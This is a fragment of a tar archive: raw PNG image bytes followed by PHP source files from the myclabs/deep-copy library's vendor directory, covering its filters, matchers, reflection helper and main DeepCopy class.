0QÜAêx›?P€‰â½Jõµ®á<àA`z(À±ãøWBÒF&†{@-v†¦‹L;>8v†¦‰LDþQ.;>7寎ô÷÷|eF&€ûÀø°34-`ØéŒ_x°ØÙÙÉùRr`Éñˆ˜+=+¿pÅåE–;>Éagh(À’bWÐÛΡÞÞÞ‘¢L(ÀâÑ+ÐV|¡ÙZ>`É°ãh.X2ìøš¡åD–TÖ`gh9Q€%ÁŽO µ¸·^>` äw«±ãhü¹ÆM} 8•íe2C ÚË ‹Æ}  Üo/ P;Ó€bØùÎ?û'çŸ& P@bYé…Ûöò#è¡�ñî€܃×FŠáý _x ’. P6ŸØª‰ÁŽOÀ7îËë¡�E°ãð¡z(@<²4°3T è\þÞ;>ÿò÷ê{zzF> (@ÇØ]hâÜÕ@:aídéîîÎþ›Ÿ€.{öJ0ܺ°ó;ÿß(èD8Y¬ì¸�”C(<;Ÿ‡‡‡³ûù\õt"¼Äá—_~a'Põ;Cíü¶·óÅ£�—?íQ";>r±g~኎=# ÿÎù]< Ðpù3<R´Ø»IØ£G»î Ðaç­½]¡ÇáA®åý÷߯þ“ˠţ�—?C¶oß^}ùCx¤há%€{�Î];­ìì¼³p´x`ÁÂ#ÃwÞy§úÏ÷Þ{¯æ$±“Ç.‹Úe�ì|µÒË?ˆµ„g!\-X°•+WÖœ!öèО² Ðeç¯]­¿ÊòÙgŸ‰"P€«„h÷yá,P>v^ÛËšòç»ÿ(X üñ>úˆÿ �;Ï?ýôÓìÜç2hq$ pîܹ¥HWWW¥£££òÁDÿ\-@»ÄÖŸZì¼·óß.Æþ\1j(@Ò´�í[¤ø¨‘.ÀW¯^Q]üÐÅ ðÕ ]€/_¾$¢ºø¡‹à+ª3€$ 'ü>úúú²>|xä·43ÀWTg€t¾xñ‚8Hø}Ø‚Ïhf€¯¨Î� 4ÕÅ]Ì�_QÒøüùsâ ª‹º˜¾¢:(@ÒpT?t1|EuP€¤á¨.~èbøŠê .ÀgÏžQ]üÐÅ ðÕ@’†£ºø¡‹à+ª3@º�Ÿ>}JDuñC3ÀWTg�HŽêâ‡.f€¯¨Î� 4ÕÅ]Ì�_QÒøäÉâ ª‹º˜¾¢:(@ÒpT?t1|EuHàãljƒ¨.~èbøŠê  �IÃQ]üÐÅ ðÕ@’†£ºø¡‹à+ª3@º�=zDDuñC3ÀWTg�HŽêâ‡.f€¯¨Î�é|øð!qÕÅ]Ì�_Q i8ª‹º˜¾¢:(Àå÷߯L™2eB™6mZåÔ©Sѯç9ª‹ºfÀXÙ°aCtX¾ûî»èçxŽê .À¸Ío¿ý]ÜãI(ÂØ×õÕÅ] 3 >çΫtuuEÏùX¾øâ‹è×ñÕ@¶( E©U?t)Ì€|ÆzÆ7Vf̘Q¹~ýzôkzŠê .Àû÷ï»Í¯¿þš-âE‹Unݺ=.Ÿ]»v½±ø¯]»=ÖST?t)Ì�ËÝ»w+Ë–-«9¯-£Í„³gϾñ,Qa¨Î� °E™LZêO€ýû÷GóÕÅ] 3À²~ýúì\žÈ,¨0¼zõêèq^¢:¤ ðÞ½{nsôèÑšEóæÍèq±äO[ø±c<EuñC— ¨0;Ñ9/A»%ròäÉèq¢:(À¥‘Ì/| x“÷pçΚKŸvóêÕ«ÑcGËíÛ·+sæÌ‘˜ª3€lQ(@ ­ã}Ô?ûÛ¶m[ô¸·%? &û5ÚÕ ]€vƒÙkŽ9’-Ü… Vnܸ=.–uëÖeŸ»oß¾è1ž¢ºø¡Ëû èëëËÎa»|yâĉèqe‰ê  �[”Éà¿ÿþ›=r´Ë&W®\‰ç)ª‹þtwwWz{{+¯_¿ùHœ÷;ÑÀŠQÒh×Ù½¦¾�íµ<±ãòY»vmö9{ö;Î[T?|±MaíO:µÒÓÓSùÓZžg€Ý»[ºtiö³¬Zµ*z\™¢:(À%_€]29~üxôëzŒêâ‡/VvVzV~ùóaùòåÕrÌó<ì~~óÊÖ­[£Ç•)ª3€lQ)@‹ÒI£ºøá“]þ´Ë 5çļyó*»wï®ãyP€:3@º�í£×Ø/?òN&vðÒ¥Kѯï)ö»ˆ}ÿ„´"VŒ¯3Àî÷Õ`ì¸2%Ìd ° Â_vìá%ù´{€öVF±ãò©?q&ò¹EÆ~ùï™V§££Ãí  �)À– Ùv³Ùk:”� ,¨¾6v\,?üðCö¹–½{÷FóÕſΟ?_½÷—?ìÞ },?pcë±èØ%Ð%K–dß÷Ê•+£Ç•)ª3€lQ)@Û1:{öìI~»£ºøáOõ^_Xû»Ü¹iÓ¦š—FxŸkÖ¬‘9›Õ@¶( %MŸ>½rñâÅèq¢ºøá‹mp kÞbæ—zÞg@þü·]ÝÇŽ‹÷¶Ô?›Ü²eKô¸¢£:¤ ÐÞUÝk<˜-Z+@{A{ì¸Ñ²sçÎìó­�‡††¢Çyˆêâ‡?v™Ó^ _ÿ²‡zÞg€Ý·Ï_űâŠ÷¶œ9s¦2sæÌìëìÙ³'z\ÑQ`‹ÒhÖ_B™èç·3ª‹ºf@ýUœÉ<ˆU™ª3@º�íò€×8p fá^¾|9z\,v¹4ÿèqÅŠÑã¼DuñC— 8}útͳ·‰Îü ±lÞ¼9zœ‡¨Î� °Ei¤�¿þúëš…o—=bÇy‰êâ‡.…`©?—í™ààà`ôØ|ò·@,!íŽê  �[”É`ý3?……oQ]üÐ¥0,¶£{ñâÅ5çôXçuý³F‹½æñÏ?ÿ|ãXOQÒh/8õšúË“‰-ü?þø#úõ=EuñC— ± 1±O˜­E¶( ]*ˆ~moQ]üÐ¥0ê³cÇŽè¹>ZæÏŸ_}+ÄØ×òÕ ]€vyÁkì½±Eý¶Ø¢·×üž¦×¨.~èR˜£Å.}Κ5+zþ[¾ùæ›èçyŽê  �IÃQ]üÐÅ ðÕ ]€vmÕÅ]Ì�_Q i8ª‹º˜¾¢:(@ÒpT?t1|EuH ½nŽÕÅ]Ì�_Q i8ª‹º˜¾¢:¤ ÐÞ–ÕÅ]Ì�_Q i8ª‹º˜¾¢:(@ÒpT?t1|EuH ½£)>ª‹º˜¾¢:(@ÒpT?t1|EuH ½Q,)>ª‹º˜¾¢:(@ÒpT?t1|EuP€¤á¨.~èbøŠê .@ûß‘⣺ø¡‹à+ª3€$ GuñC3ÀWTg€t Q]üÐÅ ðÕ@’†£ºø¡‹à+ª3€$ GuñC3ÀWTg€tQ]üÐÅ ðÕ@’†£ºø¡‹à+ª3@º�ˆƒ¨.~èbøŠê  �IÃQ]üÐÅ ðÕ ]€.\ ¢ºø¡‹à+ª3€$ GuñC3ÀWTg€t_Q[üÐ[¤ø¨Í� 4-j‹ºbëµ Y€17n|ã/Ÿ ˜þâHZ ˜þâ]i °¯¯8ŠÂâG¹ÄÖ!). ��NQ€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€$Q€�€U*ÿç­uW’»º����IEND®B`‚����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Exception/PropertyException.php�������������������������������0000644�����������������00000000170�14760002214�0022023 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Exception; use ReflectionException; class PropertyException extends ReflectionException { } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Exception/CloneException.php����������������������������������0000644�����������������00000000177�14760002214�0021246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Exception; use UnexpectedValueException; class CloneException extends UnexpectedValueException { } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineEmptyCollectionFilter.php�������������0000644�����������������00000001301�14760002214�0025323 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter\Doctrine; use DeepCopy\Filter\Filter; use DeepCopy\Reflection\ReflectionHelper; use Doctrine\Common\Collections\ArrayCollection; /** * @final */ class DoctrineEmptyCollectionFilter implements Filter { /** * Sets the object property to an empty doctrine collection. * * @param object $object * @param string $property * @param callable $objectCopier */ public function apply($object, $property, $objectCopier) { $reflectionProperty = ReflectionHelper::getProperty($object, $property); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($object, new ArrayCollection()); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineCollectionFilter.php������������������0000644�����������������00000001424�14760002214�0024312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter\Doctrine; use DeepCopy\Filter\Filter; use DeepCopy\Reflection\ReflectionHelper; /** * @final */ class DoctrineCollectionFilter implements Filter { /** * Copies the object property doctrine collection. * * {@inheritdoc} */ public function apply($object, $property, $objectCopier) { $reflectionProperty = ReflectionHelper::getProperty($object, $property); $reflectionProperty->setAccessible(true); $oldCollection = $reflectionProperty->getValue($object); $newCollection = $oldCollection->map( function ($item) use ($objectCopier) { return $objectCopier($item); } ); $reflectionProperty->setValue($object, $newCollection); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineProxyFilter.php�����������������������0000644�����������������00000000623�14760002214�0023340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter\Doctrine; use DeepCopy\Filter\Filter; /** * @final */ class DoctrineProxyFilter implements Filter { /** * Triggers the magic method __load() on a Doctrine Proxy class to load the * actual entity from the database. * * {@inheritdoc} */ public function apply($object, $property, $objectCopier) { $object->__load(); } } �������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/ReplaceFilter.php��������������������������������������0000644�����������������00000001620�14760002214�0020331 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter; use DeepCopy\Reflection\ReflectionHelper; /** * @final */ class ReplaceFilter implements Filter { /** * @var callable */ protected $callback; /** * @param callable $callable Will be called to get the new value for each property to replace */ public function __construct(callable $callable) { $this->callback = $callable; } /** * Replaces the object property by the result of the callback called with the object property. * * {@inheritdoc} */ public function apply($object, $property, $objectCopier) { $reflectionProperty = ReflectionHelper::getProperty($object, $property); $reflectionProperty->setAccessible(true); $value = call_user_func($this->callback, $reflectionProperty->getValue($object)); $reflectionProperty->setValue($object, $value); } } ����������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/Filter.php���������������������������������������������0000644�����������������00000000534�14760002214�0017040 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter; /** * Filter to apply to a property while copying an object */ interface Filter { /** * Applies the filter to the object. * * @param object $object * @param string $property * @param callable $objectCopier */ public function apply($object, $property, $objectCopier); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/KeepFilter.php�����������������������������������������0000644�����������������00000000407�14760002214�0017644 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter; class KeepFilter implements Filter { /** * Keeps the value of the object property. * * {@inheritdoc} */ public function apply($object, $property, $objectCopier) { // Nothing to do } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Filter/SetNullFilter.php��������������������������������������0000644�����������������00000000742�14760002214�0020350 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Filter; use DeepCopy\Reflection\ReflectionHelper; /** * @final */ class SetNullFilter implements Filter { /** * Sets the object property to null. * * {@inheritdoc} */ public function apply($object, $property, $objectCopier) { $reflectionProperty = ReflectionHelper::getProperty($object, $property); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($object, null); } } ������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Doctrine/DoctrineProxyMatcher.php���������������������0000644�����������������00000000557�14760002214�0023642 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Matcher\Doctrine; use DeepCopy\Matcher\Matcher; use Doctrine\Common\Persistence\Proxy; /** * @final */ class DoctrineProxyMatcher implements Matcher { /** * Matches a Doctrine Proxy class. * * {@inheritdoc} */ public function matches($object, $property) { return $object instanceof Proxy; } } �������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyTypeMatcher.php�������������������������������0000644�����������������00000002046�14760002214�0021743 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Matcher; use DeepCopy\Reflection\ReflectionHelper; use ReflectionException; /** * Matches a property by its type. * * It is recommended to use {@see DeepCopy\TypeFilter\TypeFilter} instead, as it applies on all occurrences * of given type in copied context (eg. array elements), not just on object properties. * * @final */ class PropertyTypeMatcher implements Matcher { /** * @var string */ private $propertyType; /** * @param string $propertyType Property type */ public function __construct($propertyType) { $this->propertyType = $propertyType; } /** * {@inheritdoc} */ public function matches($object, $property) { try { $reflectionProperty = ReflectionHelper::getProperty($object, $property); } catch (ReflectionException $exception) { return false; } $reflectionProperty->setAccessible(true); return $reflectionProperty->getValue($object) instanceof $this->propertyType; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyNameMatcher.php�������������������������������0000644�����������������00000000770�14760002214�0021704 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Matcher; /** * @final */ class PropertyNameMatcher implements Matcher { /** * @var string */ private $property; /** * @param string $property Property name */ public function __construct($property) { $this->property = $property; } /** * Matches a property by its name. * * {@inheritdoc} */ public function matches($object, $property) { return $property == $this->property; } } ��������vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyMatcher.php�����������������������������������0000644�����������������00000001263�14760002214�0021101 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Matcher; /** * @final */ class PropertyMatcher implements Matcher { /** * @var string */ private $class; /** * @var string */ private $property; /** * @param string $class Class name * @param string $property Property name */ public function __construct($class, $property) { $this->class = $class; $this->property = $property; } /** * Matches a specific property of a specific class. * * {@inheritdoc} */ public function matches($object, $property) { return ($object instanceof $this->class) && $property == $this->property; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Matcher.php�������������������������������������������0000644�����������������00000000325�14760002214�0017332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Matcher; interface Matcher { /** * @param object $object * @param string $property * * @return boolean */ public function matches($object, $property); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/Reflection/ReflectionHelper.php�������������������������������0000644�����������������00000004176�14760002214�0021720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\Reflection; use DeepCopy\Exception\PropertyException; use ReflectionClass; use ReflectionException; use ReflectionObject; use ReflectionProperty; class ReflectionHelper { /** * Retrieves all properties (including private ones), from object and all its ancestors. * * Standard \ReflectionClass->getProperties() does not return private properties from ancestor classes. * * @author muratyaman@gmail.com * @see http://php.net/manual/en/reflectionclass.getproperties.php * * @param ReflectionClass $ref * * @return ReflectionProperty[] */ public static function getProperties(ReflectionClass $ref) { $props = $ref->getProperties(); $propsArr = array(); foreach ($props as $prop) { $propertyName = $prop->getName(); $propsArr[$propertyName] = $prop; } if ($parentClass = $ref->getParentClass()) { $parentPropsArr = self::getProperties($parentClass); foreach ($propsArr as $key => $property) { $parentPropsArr[$key] = $property; } return $parentPropsArr; } return $propsArr; } /** * Retrieves property by name from object and all its ancestors. * * @param object|string $object * @param string $name * * @throws PropertyException * @throws ReflectionException * * @return ReflectionProperty */ public static function getProperty($object, $name) { $reflection = is_object($object) ? new ReflectionObject($object) : new ReflectionClass($object); if ($reflection->hasProperty($name)) { return $reflection->getProperty($name); } if ($parentClass = $reflection->getParentClass()) { return self::getProperty($parentClass->getName(), $name); } throw new PropertyException( sprintf( 'The class "%s" doesn\'t have a property with the given name: "%s".', is_object($object) ? get_class($object) : $object, $name ) ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DateIntervalFilter.php������������������������0000644�����������������00000001177�14760002214�0023066 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter\Date; use DateInterval; use DeepCopy\TypeFilter\TypeFilter; /** * @final * * @deprecated Will be removed in 2.0. This filter will no longer be necessary in PHP 7.1+. */ class DateIntervalFilter implements TypeFilter { /** * {@inheritdoc} * * @param DateInterval $element * * @see http://news.php.net/php.bugs/205076 */ public function apply($element) { $copy = new DateInterval('P0D'); foreach ($element as $propertyName => $propertyValue) { $copy->{$propertyName} = $propertyValue; } return $copy; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedListFilter.php������������������0000644�����������������00000002020�14760002214�0024251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter\Spl; use Closure; use DeepCopy\DeepCopy; use DeepCopy\TypeFilter\TypeFilter; use SplDoublyLinkedList; /** * @final */ class SplDoublyLinkedListFilter implements TypeFilter { private $copier; public function __construct(DeepCopy $copier) { $this->copier = $copier; } /** * {@inheritdoc} */ public function apply($element) { $newElement = clone $element; $copy = $this->createCopyClosure(); return $copy($newElement); } private function createCopyClosure() { $copier = $this->copier; $copy = function (SplDoublyLinkedList $list) use ($copier) { // Replace each element in the list with a deep copy of itself for ($i = 1; $i <= $list->count(); $i++) { $copy = $copier->recursiveCopy($list->shift()); $list->push($copy); } return $list; }; return Closure::bind($copy, null, DeepCopy::class); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/ArrayObjectFilter.php��������������������������0000644�����������������00000001336�14760002214�0022567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter\Spl; use ArrayObject; use DeepCopy\DeepCopy; use DeepCopy\TypeFilter\TypeFilter; /** * In PHP 7.4 the storage of an ArrayObject isn't returned as * ReflectionProperty. So we deep copy its array copy. */ final class ArrayObjectFilter implements TypeFilter { /** * @var DeepCopy */ private $copier; public function __construct(DeepCopy $copier) { $this->copier = $copier; } /** * {@inheritdoc} */ public function apply($arrayObject) { return new ArrayObject( $this->copier->copy($arrayObject->getArrayCopy()), $arrayObject->getFlags(), $arrayObject->getIteratorClass() ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedList.php������������������������0000644�����������������00000000260�14760002214�0023107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter\Spl; /** * @deprecated Use {@see SplDoublyLinkedListFilter} instead. */ class SplDoublyLinkedList extends SplDoublyLinkedListFilter { } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ReplaceFilter.php����������������������������������0000644�����������������00000001014�14760002214�0021170 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter; /** * @final */ class ReplaceFilter implements TypeFilter { /** * @var callable */ protected $callback; /** * @param callable $callable Will be called to get the new value for each element to replace */ public function __construct(callable $callable) { $this->callback = $callable; } /** * {@inheritdoc} */ public function apply($element) { return call_user_func($this->callback, $element); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ShallowCopyFilter.php������������������������������0000644�����������������00000000337�14760002214�0022070 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter; /** * @final */ class ShallowCopyFilter implements TypeFilter { /** * {@inheritdoc} */ public function apply($element) { return clone $element; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/TypeFilter.php�������������������������������������0000644�����������������00000000302�14760002214�0020535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeFilter; interface TypeFilter { /** * Applies the filter to the object. * * @param mixed $element */ public function apply($element); } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/TypeMatcher/TypeMatcher.php�����������������������������������0000644�����������������00000000724�14760002214�0021041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy\TypeMatcher; class TypeMatcher { /** * @var string */ private $type; /** * @param string $type */ public function __construct($type) { $this->type = $type; } /** * @param mixed $element * * @return boolean */ public function matches($element) { return is_object($element) ? is_a($element, $this->type) : gettype($element) === $this->type; } } ��������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/deep_copy.php�������������������������������������������������0000644�����������������00000000614�14760002214�0016334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy; use function function_exists; if (false === function_exists('DeepCopy\deep_copy')) { /** * Deep copies the given value. * * @param mixed $value * @param bool $useCloneMethod * * @return mixed */ function deep_copy($value, $useCloneMethod = false) { return (new DeepCopy($useCloneMethod))->copy($value); } } ��������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/src/DeepCopy/DeepCopy.php��������������������������������������������������0000644�����������������00000017337�14760002214�0016107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace DeepCopy; use ArrayObject; use DateInterval; use DateTimeInterface; use DateTimeZone; use DeepCopy\Exception\CloneException; use DeepCopy\Filter\Filter; use DeepCopy\Matcher\Matcher; use DeepCopy\Reflection\ReflectionHelper; use DeepCopy\TypeFilter\Date\DateIntervalFilter; use DeepCopy\TypeFilter\Spl\ArrayObjectFilter; use DeepCopy\TypeFilter\Spl\SplDoublyLinkedListFilter; use DeepCopy\TypeFilter\TypeFilter; use DeepCopy\TypeMatcher\TypeMatcher; use ReflectionObject; use ReflectionProperty; use SplDoublyLinkedList; /** * @final */ class DeepCopy { /** * @var object[] List of objects copied. */ private $hashMap = []; /** * Filters to apply. * * @var array Array of ['filter' => Filter, 'matcher' => Matcher] pairs. */ private $filters = []; /** * Type Filters to apply. * * @var array Array of ['filter' => Filter, 'matcher' => Matcher] pairs. */ private $typeFilters = []; /** * @var bool */ private $skipUncloneable = false; /** * @var bool */ private $useCloneMethod; /** * @param bool $useCloneMethod If set to true, when an object implements the __clone() function, it will be used * instead of the regular deep cloning. */ public function __construct($useCloneMethod = false) { $this->useCloneMethod = $useCloneMethod; $this->addTypeFilter(new ArrayObjectFilter($this), new TypeMatcher(ArrayObject::class)); $this->addTypeFilter(new DateIntervalFilter(), new TypeMatcher(DateInterval::class)); $this->addTypeFilter(new SplDoublyLinkedListFilter($this), new TypeMatcher(SplDoublyLinkedList::class)); } /** * If enabled, will not throw an exception when coming across an uncloneable property. * * @param $skipUncloneable * * @return $this */ public function skipUncloneable($skipUncloneable = true) { $this->skipUncloneable = $skipUncloneable; return $this; } /** * Deep copies the given object. * * @param mixed $object * * @return mixed */ public function copy($object) { $this->hashMap = []; return $this->recursiveCopy($object); } public function addFilter(Filter $filter, Matcher $matcher) { $this->filters[] = [ 'matcher' => $matcher, 'filter' => $filter, ]; } public function prependFilter(Filter $filter, Matcher $matcher) { array_unshift($this->filters, [ 'matcher' => $matcher, 'filter' => $filter, ]); } public function addTypeFilter(TypeFilter $filter, TypeMatcher $matcher) { $this->typeFilters[] = [ 'matcher' => $matcher, 'filter' => $filter, ]; } private function recursiveCopy($var) { // Matches Type Filter if ($filter = $this->getFirstMatchedTypeFilter($this->typeFilters, $var)) { return $filter->apply($var); } // Resource if (is_resource($var)) { return $var; } // Array if (is_array($var)) { return $this->copyArray($var); } // Scalar if (! is_object($var)) { return $var; } // Object return $this->copyObject($var); } /** * Copy an array * @param array $array * @return array */ private function copyArray(array $array) { foreach ($array as $key => $value) { $array[$key] = $this->recursiveCopy($value); } return $array; } /** * Copies an object. * * @param object $object * * @throws CloneException * * @return object */ private function copyObject($object) { $objectHash = spl_object_hash($object); if (isset($this->hashMap[$objectHash])) { return $this->hashMap[$objectHash]; } $reflectedObject = new ReflectionObject($object); $isCloneable = $reflectedObject->isCloneable(); if (false === $isCloneable) { if ($this->skipUncloneable) { $this->hashMap[$objectHash] = $object; return $object; } throw new CloneException( sprintf( 'The class "%s" is not cloneable.', $reflectedObject->getName() ) ); } $newObject = clone $object; $this->hashMap[$objectHash] = $newObject; if ($this->useCloneMethod && $reflectedObject->hasMethod('__clone')) { return $newObject; } if ($newObject instanceof DateTimeInterface || $newObject instanceof DateTimeZone) { return $newObject; } foreach (ReflectionHelper::getProperties($reflectedObject) as $property) { $this->copyObjectProperty($newObject, $property); } return $newObject; } private function copyObjectProperty($object, ReflectionProperty $property) { // Ignore static properties if ($property->isStatic()) { return; } // Apply the filters foreach ($this->filters as $item) { /** @var Matcher $matcher */ $matcher = $item['matcher']; /** @var Filter $filter */ $filter = $item['filter']; if ($matcher->matches($object, $property->getName())) { $filter->apply( $object, $property->getName(), function ($object) { return $this->recursiveCopy($object); } ); // If a filter matches, we stop processing this property return; } } $property->setAccessible(true); // Ignore uninitialized properties (for PHP >7.4) if (method_exists($property, 'isInitialized') && !$property->isInitialized($object)) { return; } $propertyValue = $property->getValue($object); // Copy the property $property->setValue($object, $this->recursiveCopy($propertyValue)); } /** * Returns first filter that matches variable, `null` if no such filter found. * * @param array $filterRecords Associative array with 2 members: 'filter' with value of type {@see TypeFilter} and * 'matcher' with value of type {@see TypeMatcher} * @param mixed $var * * @return TypeFilter|null */ private function getFirstMatchedTypeFilter(array $filterRecords, $var) { $matched = $this->first( $filterRecords, function (array $record) use ($var) { /* @var TypeMatcher $matcher */ $matcher = $record['matcher']; return $matcher->matches($var); } ); return isset($matched) ? $matched['filter'] : null; } /** * Returns first element that matches predicate, `null` if no such element found. * * @param array $elements Array of ['filter' => Filter, 'matcher' => Matcher] pairs. * @param callable $predicate Predicate arguments are: element. * * @return array|null Associative array with 2 members: 'filter' with value of type {@see TypeFilter} and 'matcher' * with value of type {@see TypeMatcher} or `null`. */ private function first(array $elements, callable $predicate) { foreach ($elements as $element) { if (call_user_func($predicate, $element)) { return $element; } } return null; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/myclabs/deep-copy/LICENSE��������������������������������������������������������������������0000644�����������������00000002065�14760002214�0012364 